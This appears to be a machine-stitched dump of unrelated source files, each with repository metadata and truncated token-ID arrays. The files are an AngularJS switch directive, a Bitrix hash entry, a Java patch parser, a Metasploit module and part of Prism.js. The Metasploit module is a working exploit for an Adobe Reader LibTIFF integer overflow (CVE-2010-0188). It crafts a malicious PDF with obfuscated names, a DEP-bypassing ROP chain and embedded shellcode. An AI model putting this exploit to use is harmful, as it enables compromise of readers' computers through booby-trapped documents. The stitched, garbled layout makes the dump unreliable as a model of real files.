angular.module("uiSwitch",[]).directive("switch",function(){return{restrict:"AE",replace:!0,transclude:!0,template:function(n,e){var s="";return s+="<span",s+=' class="switch'+(e['class']?" "+e['class']:"")+'"',s+=e.ngModel?' ng-click="'+e.disabled+" ? "+e.ngModel+" : "+e.ngModel+"=!"+e.ngModel+(e.ngChange?"; "+e.ngChange+'()"':'"'):"",s+=' ng-class="{ checked:'+e.ngModel+", disabled:"+e.disabled+' }"',s+=">",s+="<small></small>",s+='<input type="checkbox"',s+=e.id?' id="'+e.id+'"':"",s+=e.name?' name="'+e.name+'"':"",s+=e.ngModel?' ng-model="'+e.ngModel+'"':"",s+=' style="display:none" />',s+='<span class="switch-text">',s+=e.on?'<span class="on">'+e.on+"</span>":"",s+=e.off?'<span class="off">'+e.off+"</span>":" ",s+="</span>"}}}); | fyl080801/management | src/js/angular-ui-switch.min.js | JavaScript | mit | 743 | [
30522,
16108,
1012,
11336,
1006,
1000,
21318,
26760,
20189,
1000,
1010,
1031,
1033,
1007,
1012,
16449,
1006,
1000,
6942,
1000,
1010,
3853,
1006,
1007,
1063,
2709,
1063,
21573,
1024,
1000,
29347,
1000,
1010,
5672,
1024,
999,
1014,
1010,
9099... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
Bitrix 16.5 Business Demo = 4e9f71846d6b4d8deefb12cf636c0ad3
| gohdan/DFC | known_files/hashes/bitrix/modules/blog/install/components/bitrix/blog.metaweblog/component.php | PHP | gpl-3.0 | 61 | [
30522,
2978,
17682,
2385,
1012,
1019,
2449,
9703,
1027,
1018,
2063,
2683,
2546,
2581,
15136,
21472,
2094,
2575,
2497,
2549,
2094,
2620,
26095,
26337,
12521,
2278,
2546,
2575,
21619,
2278,
2692,
4215,
2509,
102,
0,
0,
0,
0,
0,
0,
0,
0,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package e.scm;
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.regex.*;
import e.util.*;
public class Patch {
private ArrayList<String> lines;
private ArrayList<String> errors;
private LineMapper lineMapper;
public static final class HunkRange {
/**
* Matches the "@@ -111,41 +113,41 @@" lines at the start of a hunk.
* We allow anything after the trailing "@@" because that gap is used for annotations, both by our annotate-patch.rb script and by "diff -p".
* GNU Diff's "print_unidiff_number_range" has a special case when outputting a,b where if a and b are equal, only a is output.
*/
private static final Pattern AT_AT_PATTERN = Pattern.compile("^@@ -(\\d+)(,\\d+)? \\+(\\d+)(,\\d+)? @@(.*)$");
private boolean matches;
// "from" is the first comma-separated pair. "to" is the second comma-separated pair.
// "begin" is the first number in each pair. "end" is the second number in each pair.
private int fromBegin;
private int fromEnd;
private int toBegin;
private int toEnd;
public HunkRange(String atAtLine) {
Matcher matcher = AT_AT_PATTERN.matcher(atAtLine);
matches = matcher.matches();
if (matches) {
fromBegin = parseInt(matcher.group(1), 0);
fromEnd = parseInt(matcher.group(2), fromBegin);
toBegin = parseInt(matcher.group(3), 0);
toEnd = parseInt(matcher.group(4), toBegin);
}
}
private int parseInt(String value, int fallback) {
if (value == null) {
return fallback;
}
if (value.startsWith(",")) {
value = value.substring(1);
}
int result = Integer.parseInt(value);
return result;
}
public boolean matches() {
return matches;
}
public int fromBegin() {
return fromBegin;
}
public int toBegin() {
return toBegin;
}
}
private interface PatchLineParser {
public void parseHunkHeader(int fromBegin, int toBegin);
public void parseFromLine(String sourceLine);
public void parseToLine(String sourceLine);
public void parseContextLine(String sourceLine);
}
private void parsePatch(boolean isPatchReversed, PatchLineParser patchLineParser) {
String fromPrefix = isPatchReversed ? "+" : "-";
String toPrefix = isPatchReversed ? "-" : "+";
for (int lineNumberWithinPatch = 0; lineNumberWithinPatch < lines.size(); ++lineNumberWithinPatch) {
String patchLine = lines.get(lineNumberWithinPatch);
if (patchLine.startsWith("@@")) {
HunkRange hunkRange = new HunkRange(patchLine);
if (isPatchReversed) {
patchLineParser.parseHunkHeader(hunkRange.toBegin(), hunkRange.fromBegin());
} else {
patchLineParser.parseHunkHeader(hunkRange.fromBegin(), hunkRange.toBegin());
}
} else if (patchLine.length() > 0) {
String sourceLine = patchLine.substring(1);
if (patchLine.startsWith(fromPrefix)) {
patchLineParser.parseFromLine(sourceLine);
} else if (patchLine.startsWith(toPrefix)) {
patchLineParser.parseToLine(sourceLine);
} else if (patchLine.startsWith(" ")) {
patchLineParser.parseContextLine(sourceLine);
} else if (patchLine.startsWith("=====") || patchLine.startsWith("Index: ") || patchLine.startsWith("RCS file: ") || patchLine.startsWith("retrieving revision ") || patchLine.startsWith("diff ") || patchLine.startsWith("new mode ") || patchLine.startsWith("old mode ") || patchLine.startsWith("index ") || patchLine.startsWith("\\ No newline at end of file")) {
// Ignore lines like this for the minute:
// bk:
// ===== makerules/vars-not-previously-included.make 1.33 vs 1.104 =====
// Index: src/e/scm/RevisionWindow.java
// svn:
// ===================================================================
// cvs:
// RCS file: /home/repositories/cvsroot/edit/src/e/edit/InsertNewlineAction.java,v
// retrieving revision 1.7
// diff -u -r1.7 -r1.9
} else {
// throw new RuntimeException("Malformed patch line \"" + patchLine + "\"");
}
}
}
}
public Patch(RevisionControlSystem backEnd, String filePath, Revision olderRevision, Revision newerRevision, boolean isPatchReversed, boolean ignoreWhiteSpace) {
Path directory = backEnd.getRoot();
String[] command = backEnd.getDifferencesCommand(olderRevision, newerRevision, filePath, ignoreWhiteSpace);
this.lines = new ArrayList<String>();
this.errors = new ArrayList<String>();
ProcessUtilities.backQuote(directory, command, lines, errors);
// CVS returns the number of differences as the status or some such idiocy.
if (errors.size() > 0) {
lines.addAll(errors);
}
initLineMapper(isPatchReversed);
}
private void initLineMapper(boolean isPatchReversed) {
lineMapper = new LineMapper();
parsePatch(isPatchReversed, new PatchLineParser() {
private int fromLine = 0;
private int toLine = 0;
public void parseHunkHeader(int fromBegin, int toBegin) {
fromLine = fromBegin;
toLine = toBegin;
}
public void parseFromLine(String sourceLine) {
++fromLine;
}
public void parseToLine(String sourceLine) {
++toLine;
}
public void parseContextLine(String sourceLine) {
lineMapper.addMapping(fromLine, toLine);
// Context lines count for both revisions.
++fromLine;
++toLine;
}
});
}
public int translateLineNumberInFromRevision(int fromLineNumber) {
return lineMapper.translate(fromLineNumber);
}
public ArrayList<String> getPatchLines() {
ArrayList<String> result = new ArrayList<>();
result.addAll(lines);
return result;
}
}
| software-jessies-org/scm | src/e/scm/Patch.java | Java | gpl-2.0 | 6,750 | [
30522,
7427,
1041,
1012,
8040,
2213,
1025,
12324,
9262,
1012,
22834,
1012,
1008,
1025,
12324,
9262,
1012,
9152,
2080,
1012,
5371,
1012,
1008,
1025,
12324,
9262,
1012,
21183,
4014,
1012,
1008,
1025,
12324,
9262,
1012,
21183,
4014,
1012,
1972... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
'Description' => %q{
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
Professional versions 8.0 through 8.2 and 9.0 through 9.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Microsoft', # reported to Adobe
'villy <villys777[at]gmail.com>', # public exploit
# Metasploit version by:
'jduck'
],
'References' =>
[
[ 'CVE', '2010-0188' ],
[ 'BID', '38195' ],
[ 'OSVDB', '62526' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
[ 'URL', 'http://secunia.com/blog/76/' ],
[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - untested
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - untested
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 8.2.0 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - untested
# reader 9.2.0 - untested
# reader 9.3.0 - works
[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
{
# ew, hardcoded offsets - see make_tiff()
}
],
],
'DisclosureDate' => 'Feb 16 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
tiff_data = make_tiff(payload.encoded)
xml_data = make_xml(tiff_data)
compressed = Zlib::Deflate.deflate(xml_data)
# Create the pdf
pdf = make_pdf(compressed)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def io_def(id)
"%d 0 obj\r\n" % id
end
def io_ref(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def n_obfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ascii_hex_whitespace_encode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(xml_data)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol
xref << pdf.length
pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol
pdf << "stream" << eol
pdf << xml_data << eol
pdf << eol << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj
xref << pdf.length
pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5)
pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3)
pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6)
pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8)
pdf << ("/Type /Catalog>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [")
pdf << io_ref(2) << n_obfu("]>>")
pdf << endobj << eol
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF"
end
def make_tiff(code)
tiff_offset = 0x2038
shellcode_offset = 1500
tiff = "II*\x00"
tiff << [tiff_offset].pack('V')
tiff << make_nops(shellcode_offset)
tiff << code
# Padding
tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)
tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a
# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00
# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x26a525a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3c2ecd58,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xf4745a05,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x2a4949b8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xaffa8b00,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfe87ea75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xb95f0aeb,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3e0,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x9eba5f3,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfffff1e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
tiff << stack_data
Rex::Text.encode_base64(tiff)
end
def make_xml(tiff_data)
xml_data = <<-EOS
<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>
EOS
xml_data.gsub!(/REPLACE_TIFF/, tiff_data)
xml_data
end
end
| cSploit/android.MSF | modules/exploits/windows/fileformat/adobe_libtiff.rb | Ruby | gpl-3.0 | 12,227 | [
30522,
1001,
1001,
1001,
2023,
11336,
5942,
18804,
13102,
4135,
4183,
1024,
8299,
1024,
1013,
1013,
18804,
13102,
4135,
4183,
1012,
4012,
1013,
8816,
1001,
2783,
3120,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
591... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* http://prismjs.com/download.html?themes=prism&languages=git&plugins=line-numbers */
self = (typeof window !== 'undefined')
? window // if in browser
: (
(typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope)
? self // if in worker
: {} // if in node js
);
/**
* Prism: Lightweight, robust, elegant syntax highlighting
* MIT license http://www.opensource.org/licenses/mit-license.php/
* @author Lea Verou http://lea.verou.me
*/
var Prism = (function(){
// Private helper vars
var lang = /\blang(?:uage)?-(?!\*)(\w+)\b/i;
var _ = self.Prism = {
util: {
encode: function (tokens) {
if (tokens instanceof Token) {
return new Token(tokens.type, _.util.encode(tokens.content), tokens.alias);
} else if (_.util.type(tokens) === 'Array') {
return tokens.map(_.util.encode);
} else {
return tokens.replace(/&/g, '&').replace(/</g, '<').replace(/\u00a0/g, ' ');
}
},
type: function (o) {
return Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];
},
// Deep clone a language definition (e.g. to extend it)
clone: function (o) {
var type = _.util.type(o);
switch (type) {
case 'Object':
var clone = {};
for (var key in o) {
if (o.hasOwnProperty(key)) {
clone[key] = _.util.clone(o[key]);
}
}
return clone;
case 'Array':
return o.map(function(v) { return _.util.clone(v); });
}
return o;
}
},
languages: {
extend: function (id, redef) {
var lang = _.util.clone(_.languages[id]);
for (var key in redef) {
lang[key] = redef[key];
}
return lang;
},
/**
* Insert a token before another token in a language literal
* As this needs to recreate the object (we cannot actually insert before keys in object literals),
* we cannot just provide an object, we need anobject and a key.
* @param inside The key (or language id) of the parent
* @param before The key to insert before. If not provided, the function appends instead.
* @param insert Object with the key/value pairs to insert
* @param root The object that contains `inside`. If equal to Prism.languages, it can be omitted.
*/
insertBefore: function (inside, before, insert, root) {
root = root || _.languages;
var grammar = root[inside];
if (arguments.length == 2) {
insert = arguments[1];
for (var newToken in insert) {
if (insert.hasOwnProperty(newToken)) {
grammar[newToken] = insert[newToken];
}
}
return grammar;
}
var ret = {};
for (var token in grammar) {
if (grammar.hasOwnProperty(token)) {
if (token == before) {
for (var newToken in insert) {
if (insert.hasOwnProperty(newToken)) {
ret[newToken] = insert[newToken];
}
}
}
ret[token] = grammar[token];
}
}
// Update references in other language definitions
_.languages.DFS(_.languages, function(key, value) {
if (value === root[inside] && key != inside) {
this[key] = ret;
}
});
return root[inside] = ret;
},
// Traverse a language definition with Depth First Search
DFS: function(o, callback, type) {
for (var i in o) {
if (o.hasOwnProperty(i)) {
callback.call(o, i, o[i], type || i);
if (_.util.type(o[i]) === 'Object') {
_.languages.DFS(o[i], callback);
}
else if (_.util.type(o[i]) === 'Array') {
_.languages.DFS(o[i], callback, i);
}
}
}
}
},
highlightAll: function(async, callback) {
var elements = document.querySelectorAll('code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code');
for (var i=0, element; element = elements[i++];) {
_.highlightElement(element, async === true, callback);
}
},
highlightElement: function(element, async, callback) {
// Find language
var language, grammar, parent = element;
while (parent && !lang.test(parent.className)) {
parent = parent.parentNode;
}
if (parent) {
language = (parent.className.match(lang) || [,''])[1];
grammar = _.languages[language];
}
if (!grammar) {
return;
}
// Set language on the element, if not present
element.className = element.className.replace(lang, '').replace(/\s+/g, ' ') + ' language-' + language;
// Set language on the parent, for styling
parent = element.parentNode;
if (/pre/i.test(parent.nodeName)) {
parent.className = parent.className.replace(lang, '').replace(/\s+/g, ' ') + ' language-' + language;
}
var code = element.textContent;
if(!code) {
return;
}
code = code.replace(/^(?:\r?\n|\r)/,'');
var env = {
element: element,
language: language,
grammar: grammar,
code: code
};
_.hooks.run('before-highlight', env);
if (async && self.Worker) {
var worker = new Worker(_.filename);
worker.onmessage = function(evt) {
env.highlightedCode = Token.stringify(JSON.parse(evt.data), language);
_.hooks.run('before-insert', env);
env.element.innerHTML = env.highlightedCode;
callback && callback.call(env.element);
_.hooks.run('after-highlight', env);
};
worker.postMessage(JSON.stringify({
language: env.language,
code: env.code
}));
}
else {
env.highlightedCode = _.highlight(env.code, env.grammar, env.language);
_.hooks.run('before-insert', env);
env.element.innerHTML = env.highlightedCode;
callback && callback.call(element);
_.hooks.run('after-highlight', env);
}
},
highlight: function (text, grammar, language) {
var tokens = _.tokenize(text, grammar);
return Token.stringify(_.util.encode(tokens), language);
},
tokenize: function(text, grammar, language) {
var Token = _.Token;
var strarr = [text];
var rest = grammar.rest;
if (rest) {
for (var token in rest) {
grammar[token] = rest[token];
}
delete grammar.rest;
}
tokenloop: for (var token in grammar) {
if(!grammar.hasOwnProperty(token) || !grammar[token]) {
continue;
}
var patterns = grammar[token];
patterns = (_.util.type(patterns) === "Array") ? patterns : [patterns];
for (var j = 0; j < patterns.length; ++j) {
var pattern = patterns[j],
inside = pattern.inside,
lookbehind = !!pattern.lookbehind,
lookbehindLength = 0,
alias = pattern.alias;
pattern = pattern.pattern || pattern;
for (var i=0; i<strarr.length; i++) { // Don’t cache length as it changes during the loop
var str = strarr[i];
if (strarr.length > text.length) {
// Something went terribly wrong, ABORT, ABORT!
break tokenloop;
}
if (str instanceof Token) {
continue;
}
pattern.lastIndex = 0;
var match = pattern.exec(str);
if (match) {
if(lookbehind) {
lookbehindLength = match[1].length;
}
var from = match.index - 1 + lookbehindLength,
match = match[0].slice(lookbehindLength),
len = match.length,
to = from + len,
before = str.slice(0, from + 1),
after = str.slice(to + 1);
var args = [i, 1];
if (before) {
args.push(before);
}
var wrapped = new Token(token, inside? _.tokenize(match, inside) : match, alias);
args.push(wrapped);
if (after) {
args.push(after);
}
Array.prototype.splice.apply(strarr, args);
}
}
}
}
return strarr;
},
hooks: {
all: {},
add: function (name, callback) {
var hooks = _.hooks.all;
hooks[name] = hooks[name] || [];
hooks[name].push(callback);
},
run: function (name, env) {
var callbacks = _.hooks.all[name];
if (!callbacks || !callbacks.length) {
return;
}
for (var i=0, callback; callback = callbacks[i++];) {
callback(env);
}
}
}
};
var Token = _.Token = function(type, content, alias) {
this.type = type;
this.content = content;
this.alias = alias;
};
Token.stringify = function(o, language, parent) {
if (typeof o == 'string') {
return o;
}
if (_.util.type(o) === 'Array') {
return o.map(function(element) {
return Token.stringify(element, language, o);
}).join('');
}
var env = {
type: o.type,
content: Token.stringify(o.content, language, parent),
tag: 'span',
classes: ['token', o.type],
attributes: {},
language: language,
parent: parent
};
if (env.type == 'comment') {
env.attributes['spellcheck'] = 'true';
}
if (o.alias) {
var aliases = _.util.type(o.alias) === 'Array' ? o.alias : [o.alias];
Array.prototype.push.apply(env.classes, aliases);
}
_.hooks.run('wrap', env);
var attributes = '';
for (var name in env.attributes) {
attributes += name + '="' + (env.attributes[name] || '') + '"';
}
